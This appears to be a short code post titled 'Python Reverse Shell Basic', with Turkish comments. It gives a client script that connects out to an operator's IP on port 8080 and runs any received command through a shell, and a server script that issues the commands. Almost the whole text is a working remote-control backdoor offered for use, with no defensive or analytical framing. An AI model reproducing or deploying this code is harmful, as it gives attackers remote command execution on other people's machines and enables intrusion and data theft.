Python Reverse Shell Basic [Client - Server]

client.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
import socket,subprocess,os

os.system("clear || cls")
connected_ip = "" # Portu dinleyecek olan sistemin ip adresi.
listened_port = 8080 # Hedef sistem üzerinde dinlenilecek port.

def connect():
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect((connected_ip,listened_port))
terminate = 'terminate'

while True:
command = s.recv(1024)
if len(command) > 0:
if terminate.encode("utf-8") in command:
s.close()
break
else:
cmd = subprocess.Popen(command[:].decode("utf-8"),shell=True,stdout=subprocess.PIPE,stderr=subprocess.PIPE,stdin=subprocess.PIPE)
output_bytes = cmd.stdout.read() + cmd.stderr.read()
output_str = str(output_bytes,"utf-8")
s.send(str.encode(output_str + str(os.getcwd()) + '> '))

def main ():
connect()

main()

server.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
import socket,os

os.system("clear || cls")
connected_ip = "" # Portu dinleyecek olan sistemin ip adresi.
listened_port = 8080 # Hedef sistem üzerinde dinlenilecek port

def connect():
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.bind((connected_ip,listened_port))
s.listen(1)
print('[+] TCP bağlantısı '+listened_port+ ' portu üzerinden dinleniyor.')
conn, addr = s.accept()
print('[+] ',addr,' ile bağlantı kuruldu.')
terminate = 'terminate'

while True:
command = input("\nShell> ")
if terminate in command:
conn.send(terminate.encode("utf-8"))
conn.close()
break
else:
conn.send(str.encode(command))
client = str(conn.recv(1024).decode("utf-8"))
print(client)

def main():
connect()

main()